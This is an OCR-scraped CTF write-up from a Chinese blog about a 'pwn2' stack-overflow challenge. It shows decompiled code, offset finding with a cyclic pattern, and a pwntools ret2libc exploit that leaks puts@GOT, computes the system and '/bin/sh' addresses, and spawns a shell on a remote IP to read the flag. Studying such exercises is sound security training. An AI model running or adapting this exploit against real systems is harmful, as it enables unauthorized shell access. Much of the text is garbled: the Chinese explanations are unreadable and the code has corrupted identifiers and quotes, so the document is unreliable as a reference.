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3| char s; ¢/ [sp+¥h] [bp-111h]@5
4 char w2; /f [sp+107h] [bp-11h]EE

5| size_t nbytes; /f [sp+188h] [bp-18h]@5
6 char =xhas_chr18; /f [sp+18Ch] [bp-Ch]@1
7

8

9

puts{"Welcome to my game server'};

puts{"First, you need to tell me you name?"

10| Ffgets{your_name, 256, stdin);i@AZTF, BsT—_h:ZSG
11| has_chri18 = strrchr{your_name, 10);

12| if { has_chrid )

13 #has_chr1@ = 8;

14 printf(“Hello %s\n™, your_name};

1%| puts{"What's you occupation?"};

16| fgets{your_occ, 256, stdin); if A BNl | 515256
17| has_chri18 = strrchr{your_occ, 18);

18| if ( has_chri@ )

19 #has_chr18 = B8;

28 printf{"Well, my noble 2S\n , Your_occ);

21| nbytes = snprintf{ nbh |ntf@§ﬂ R[El{E

20 b SRS B WO

23 6x100u, TaHAsSs 0x100A)

24 "Our %5 is a noble %s. He is come from north and well change out would.™,
25 your_nane, iz FRMK N F5%s %sth Ffas

26 your_occ);

27| puts({"He
28| puts{&s);
29 puts{"Do yo
38| v2? = getchar
31| getchar();

32| if { v2 == 89 )

33| read(®, &s, nboves); readBFBEEEHSHInbytesiBid &sEEEZNIEE | Bateiiih

00000637 main_real:5

is you introduce™);

want to edit you introduce by yourselfT[Y/N]™);



https://blog.csdn.net/publicStr
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=redhat2018&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25A0%2588%25E6%25BA%25A2%25E5%2587%25BA&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BB%2595%25E8%25BF%2587NX%25E4%25BF%259D%25E6%258A%25A4&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/publicStr/article/details/80210674

FF 4648 I3k i
MWEEES T fith A, Rread®M¥NSHnbytesm T, HitisZ R,

FB a0 e #% finbyteshe ?
nbytes &snprintfek R EIE, BATE— Fsnprintfix A &%,

snprintfiX > & #H ket KA 24558, EnamefloccEA%s %sHILBEH, HHRFE/HE, RAs
EPFRFERFBERERTE -ASHEEMOX100, REERESTRIITEANNKE.

MR, BB IEnameMocchit £ FEA R T 0x200K B, IF 4 snprintfiik A< £ 0x200, # Hi4E iR
[El-1,

A2 7T LAEE R\ 44 AL, $zfinbytes IR T .

IR AN 5] 3
FELZ KA Bk Hread g e ?

B FEA B R FEREDMRT .

ERBFE— T, BURKAZE&SHIKERsp+7
T—A2Ev2£sp+107

Z I RE T Ox100 W 52256 MK B, ARAR 3 th 2 /) Fread256 K &

LA A nameFlloccit N £-250K B (K %256) , snprintfREIMEZE /D RZ5007, tHEinbytesZ A &500

BATEBRA300K ERRiIER]), AHigdbissfiXik—TF
FethnamefloccHIH250ME R FAF, edithfigYBi, B A300KE KA



Well, my noble BEBBEEBEBEBEEEBEBBEEBBEBEBBEBEBEBEEEEEBBEEBEBEBEEEBBEBEEBBBEEBEBEBBEEEBBBEH
BEEBBEEEEEEBEEEBEBEBEEEBEEEBBEEEBBEEEEEEEEEEBEBEEEBBEEEEEBEEBEEBEEEEBBEEBEEEEBBEEEBEEBEEEBEEEBEEEBBH
BEEBBEEEEEEBEBEEBEBEEEEBEEEBEEEBEEEEEEEEEEBEBEEEBEEEEEBEEBEEBEEEBBEEBEEEEBEBEEBEEBEEEBEEBEEBBEEEBBH
BEBEB

Here is you introduce

Our AAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAARAAAAAAAAPRAANARAAAAAAAAAAARAAAAAAAARAARARAAA
AAAAAAAAAAAAAARAAAAAAAAAAARARAAAAAAAAAAAARARAAAAAAAAAAARAAAAAAAAAAAAARAAAAAAAARAARARAAAAS
AAAAAAAAAAAAAARAAAAAAAAAAARAAAAAAAARAARAARAAAAAAAAPAAARARAAAAAAAAAAARAAAAAAAARAARA

Do you want to edit you introduce by yourself?[Y/N]

y
AaBAalAazAa3hadhasSAabAaTAa8ha%AboAblAb2Ab3AD4ADSADGADTADBADIACRACIACZACIACA4ACSACBACTAC]
ACIAdBAdIADZAd3Ad4AdSAdBAdTAdBAdIADAc]1Ac2Ac3AcdAeSAcbAcTAcBAc9ATOATIATZATIAT4ATSATEAT
ATBATIAQOAQIAG2Ag3Ag4AgSAgEAGTAGBAgIANBAhIANZAR3AR4AhSAh6ARTARBANOAIOAI1AIZAI3AI4A1I5A1
A17AIBA19ATOAJ1Aj2AI3AJ4Aj5AI6A]TAIBATO

name : AAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAARAAAAAAAAAAALRALAAAAAAAAAAARAAAAAAAARARRALRAAA
AAAAAAAAAAAAAARAAAAAAAAAAARARAALAAAAARAAARARAALAAAAAAAARARAAAAAAAARAARAAAAAAAARARARARAAA
AAAAAAAAAAARAARAAAAAAAAAAANAAAAAAAAAARAARANAAAAAAAAAAAAANAARAAAAAAAANARAAAAAAAAARARA
occupation : BBBEBEBEBEEEBBBEEEBEBEBEBEEBEBEEEBEBEBEEBEBEBEBEBEEEBBEBBEEBBBEEEBEBEEEBBBEH
BEEBBEEEEEEBEBEBEBEEEEBEEEEBEEEBBEEEEEEEBEEEBBEEEBEEEEEEEBEBEEEBBEEEBEEEEBEBEEBEEBEEEBEEBEEBBEEEBBH
EEEEEBEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEBEEEEEEEEEEEEEEBEEEEEEEEEEEEEBER
BB

introduce : AaBAalAa2Aa3AadhaSAabAa7AaBAa9AboAblAb2Ab3Ab4AbSAbGALTADBADIACOACIACZACIACY
ACSACBACTACBACOAdOAdIAd2ZAd3Ad4AdSADEAdTABAdIAcDAR1Ac2Ae3AcdAeSAcbAcTAcBAOATOATIATZAT
AT4ATSATBATTATBATIAGOAGLAG2ZAg3Ag4AgSAgBAG7AYBAGIANROANLAh2AR3AR4ARSARGAN7ARBARIAIOALI LA
A13Ai4A15AI6A17AIBAI9A]OAJ1A]2Aj3A]4Aj5A6AJTAIBATY

Program received signal SIGSEGY, Segmentation fault.

JEAE, AR AaO0Aa st =& MR IES], Fpython pattern.py create 300 B v] 4 &
XEf gdbihkEE T, BEHEME

0000 | ("3Aj4Aj5AI6AFTAIBATINN")

0004 | ("Aj5Aj6A7AIBATINN")

0008 | ("jB6AITAIBATINR")

0012 | ("7Aj8Aj9NN")

0016 | ("ajoxn™)

0020 | s --> @x1b2dbe

0024 | --> Bx0

0028 | - (< 1libc start main+246>:

Legend: f , , value
Stopped reason:
0x6a41326a in ?7 ()
exit()
Undefined command: “exit". Try "help".
quit
:/CTF# python pattern.py offset ©8x6a4l1326a
hex pattern decoded as: j2Aj
277
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452 Fpatternffi A i+ 5 T £ /D BB

python pattern.py 0x6a41326a

BT S TR 2777 . RATIIH KR T255, SLbr&E277KE Kpadding.



it 2% R Bt , TFHlibesSZhRibl, %eidt NXLRP?
HEXRT, AFnElbekbhl, WEiA k& systemef Fbin_shig Fht .
BATRERME EFHA RS, BEiHlibcthhl, 7 68 Hsystemg Fuhit.

FTR|AFIE, BRI Eputs B Mprintf g3 T .
438 it 58 puts 2R BT rop s -

+ p32(puts_plt)+p32(func_addr)+p32(puts got)

F{P-‘.RRRHRRRRF{P-‘.RRRRRRRRRRRRRRRRRRRRRRRRRRRRPF?F-'RF-'F?RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR

RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRA\ X80\ x 844\ X 04\ XB8T\XBB\X O—I\ X08 \Xx d!)\ X804\ x08

277K Fpadding J& TH ' BR pltR # puts i Htik 5
T ER B R B b R vl R BT 7E R BRI Mk, #Eida 7 B & 0x8048637
BEARputsti BEQotR PN B, thERBRIEIREBHLIRIRT

FRELpltFngotsR H kit 7T DA

elf = ELF(pwn2')

elf.plt['puts']

elf.got['puts’]

BArsRfE, arllidaBEBCE.

ZHDEA X e, REAE - NREEPITHRL, PITputsRBEpHRFHESNME, F -/ EE
AR, FEANBBRPUTRENSH, WRRE=ARE MR putstS . putsF K putsei %
fEgotRH I E IEH L.
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LR T



dline(rop)
- .recv()
'name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAALARAAAAAAAAALA
AAAAAAAAAAAAAAAAALAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAALAALAAAAAAAAALAALAAAAAAAAAAA
AAAAAAAAAAAAAAAAALAAAAAAAAALALAAAALAAAAAAAAAAAAAAAAAAAAALAAAAAAAAALAARAAAAAAAAAAA
ARAAAAAARAAABAAAAANNOCCUpation : BEBBEBBEEBEBEBEEEBBEEEEEBBEEEBEBEBEEEBBEBEEEBBBEBB
EBEEEEEEEBEEBEEEEEEEEEEEBEBEEEEEEEEEBEEBEEEEEEEBEEEEBEEEEEEEEEEEBEEEEEEEBBEEEBEBEEE
BEEEEEEEEBEEBEEEEEEEEEEEBEBEEEEEEEEEEBEEBEEEEEEEBEEEBEEEEEEEEEEEBEEEEEEEBBEEEBEBEEBE
BEBEBEEEBBBEBEEBBBEBEBEEBBEEEEBBBEBBEBEBEEBBBEB \ nintroduce
RRRRERRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR

10Z\xT7\x xf7\nWelcome to my game server\nFirst, you need to tell me you nam
er\n’

>>> u32('@q[\xf7')

4149965120L

=>> hex(4149965120)

'@xT75b7140"

e I

3tk % 1 puts i BrgotF ikt 2 0xf75b 7140
Ja LA 140 R AR, Aiid<BEVLHAE .

FHEE, ¥WEEprintfei Zfgotitihl, R 7 ZEHI3E 415 =34 Uk printfed £ (1 gotib bt

K15 72 0xf75b4020

HERT, systemiE fHbin_shif $ih bt
LA Hlibek 4 38 !

https://libc.blukat.me/

Query show all libs / start over Matches

libc6-i386_2.23-0ubuntu10_amde4

puts BxFf75b714@ . libc6-i386_2.23-0ubuntu7_amds4
libc6-i386_2.23-0ubuntud_amds4
printf exf75b4a20 .
|—| libcB-1386_2.23-0ubuntu10_amd64
Symbol Offset Difference
) system Bx03az48 @xa
printf GxB45020 Oxebed
puts Gxa5T140 Gx24800
open axodifie GxIFEOD
read Bx8d4358 @x3%a1e
write @x2d43ce Ox9%a80
str_bin_sh @x15%82b @x1leceb
25 H Sk systemes H i 7% ik

0x03a940



75 W Sk printf 8 %5 7 Hh kit
0x049020

BEHERKT, RAEWEHBLL, HsystemE Sz bt We ?
B TR BN,

BATLAR i RFEHL S Blibcb ik
systemi¥y sz Fr k% F libcHiht+systemi¥offset

I E 4 538 Libckh bt Ve ? 52 iR B0 58 L so k.

% 2 Biputsitt  H Sk B sz bk 0xf75b7 140 ¥k 2= putsifoffset w2
putsf¥joffset?E £kt 58 2 3

FirBA_E— ik Elibetihik 2 Oxf75b7140 - 0x05f140

BERT—RET, Frllpwnijrfix, HE

[ 1] it putsFlprintfeg F b bt

[2] it &libcHisl, T+Hsystemflbin_shE Stk
[3] BE#itgetshellffipayload

s bk T 5 R ER R AR, R T BRI T .
editigs—Ik, BFXAZIHNT—MEHFEK.
A g



from pwn import *

elf = ELF('pwn2")

name = 'A'*250

occ = 'B' * 250

func_addr = 0x8048637

puts_offset = 0x05f140

system_offset = 0x032940

binsh_offset = 0x15902b

payload_getaddr = 'P'*277 + p32(elf.plt['puts']) + p32(func_addr) +p32(elf.got['puts'])

#HIT 55 1 5% R Ft ik

p = remote('123.59.138.180",20000)
p.recv()
p.sendline(name)
p.recv()
p.sendline(occ)
p.recv()
p.sendline('Y")

p.sendline(payload_getaddr)

p.recvuntil('\n\n")

puts_addr = u32(p.recv(4))

success( 'puts_addr: '+hex(puts_addr))

#OMFEputsiht FihitElibcbtMsystem. bin_shE scihik

libc_addr = puts_addr - puts_offset

system_addr = libc_addr + system_offset

binsh_addr = libc_addr + binsh_offset

payload_getshell = 'P'*277 + p32(system_addr) + p32(func_addr) + p32(binsh_addr)
#OE WiEiFgetshellffipayload FFiGKR%E

p.recv()

p.sendline(name)

p.recv()

p.sendline(occ)

p.recv()

p.sendline('Y")
p.sendline(payload_getshell)
p.interactive()

XA A EL B ]

BATER:



NX:

PIE:

Opening connection to 123.59.138.188 on port 20008: Done

puts addr:0xf7606140

Switching to interactive mode

, my noble BEEBEEEBEEEEBEEEEEEBEEBEEBBEEEEEEBEEEEEBEEBEEEBBEEEEEEBEEEEBBBEEBBBBE
BEBEEBBEBEBBEBEBBEEBBEEEBBEEBBEEEBBEEBBEEBBBEBBBEBBEBEBBEBEBBEBEBBEBEBBEBEBBEBBEBEBBEBBBBBBE
BBEBEBEBEEBEBBEBEBBEEBBEEBBEEBBEEBBEEBBEEBBBEBBBEBBEBEBBEBEBBEBEBEBEBBEBEBBEBBEBBEBBBBBBBBE
BBEBEEBBEEBBEEBBEEBBEEBBBEB
Here is you introduce
Our AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAALAAALAAAAS
VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAALAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAALAAAALS
VAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAALAAALAAAAAAAAAAALAAAAAAAAAAAAAAALAAAAAAALAAAAAS
VAAAAAAAAARAAA
Do you want to edit you introduce by yourself?[Y/N]
name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAALAAALAAAAS
AAAAAAAAAAAAAAAAALAAALAAALAAAALAAALAAALAAAAAAALAAAAAAAAAAALAAAAAAALAAALAAAALAAAAS
AAAAAAAAAAAAAAAAALAAALAAALAAALAAALAAALAAAAAAALAAAAAAAAAAALAAALAAALAAALAAALAAAAS
AAAAAAAAARAAAAAA
occupation : BBEBEEEBEEEBEEEBEBEBEBEBEBEEEEBEBEEBEEBEEBEEBEBEBBEBEEBEBEEEEBBEBBEBERBBEH
BEEBEEEBEEEBEEEBEEEBBEEEBBEEEBBEEEBBEEEBBEEEBBEBEEBEEBEEBEEBEEBEBEEBEBEEBEEEBEEEBEBEEBBEBBEBBBBBBE

EEBEBEBEEEEBEEEEEBBEBEEEEEEBEEEEEBEEEBEBEEBEEEEEEBEEEEEBEEEBEBEEBEEEEEBEEEBBBEBEBEBER
EEBEBEBEEEEBEEEEEBBEEBBB

introduce : PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPH
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPH
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPH
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP@\X19 676+

1s

cd home
1s
pwnl
pwn2
pwn3
pwn4
ubuntu
cd pwnz
1s
flag.txt
cat flag.txt
flag{f3b92d795c9eed725c160680acd084d9}

JGSE -0 o B R R A, = BATRIARZ o HL%, BRIM! (RM)



from pun import

# context. log_lewel = " debug’

# p = process(" . /pm2’ )

p = remotel 123,589,138 1807, 200000

# libz = ELF{ /1ib/i386-1lirmx-—grflibe. s0.6°)
# 1ibe = ELF (. /1ibef_2. 23-0ubuntull_i336. =0’ )
elf = ELF( . /pum2” j|

funec_addr = 0x8048637T

# popret = Ox08048d41d

[+] put=_plt:0xz8048430
[+] put=z_got:028042020
[+] read_got:0=z804a010
[+] putsz_off:0z5fcal

[+] system_off:0x3adal

name = A" %280

ocou = BT 260

puts_plt = elf.plt[ putsz"]

puts_got = elf.got [(puts"]

read_got = elf.got [ read’ ]

printf_got = elf.got [(printf’]

# puts_offset = libe. symbols["puts"]

# system_offset = libc.symbolsz[" system’ ]
zvztem_offzet = 0x03a940

putz_offszet = Ox06L140

binsh_offszet = Ox15902b

success ( puts_plt: +hex (puts_plt))
success( puts_got: thex(puts_got))
success [ read_got: +hex (read_got))
success( puts_off:” +hex (puts_offset))
success [ systen_off: +hex (system_offset]))
success( printf_got: thex (printf_got))

p. rectvartil ( name i’ )
p. sendline (name)

p. sendline " C7 #0x1154p32 (put s_plt)+p32 (func_addr)+p32 (puts_got))
p.recvuntil (ntn’ )

puts_addr = u32{p. recwid))

success [ puts_addr:’ +hex (puts_addr))

libc_addreszz = puts_addr - putsz_offzet

sygtem_addr = libe_addressz + asystem_offzet

success [ svsten_addr:” +hex (system_addr))

bingh addr = libc_addresz + binsh_off=et

success( binsh addr:” +hex (binsh addr))

Lrecvuntil (O name?in’ )

. zendline (name)

Lrecvuntil { occupat ion?hn’ )

. zendline (occu)

recwintil { [T/H0] W' )

czendline (T )

avload = "4 #0x115 + p32(system_addr) + p32(func_addr) + p32(binzh_addr)
pavload = "4 %0x115 +p32(putz_plt) + p32(func_addr) + p32{printf_got)
sendline (payload)

gdb. attachip)

interactive()

print p.recw()

cloze()
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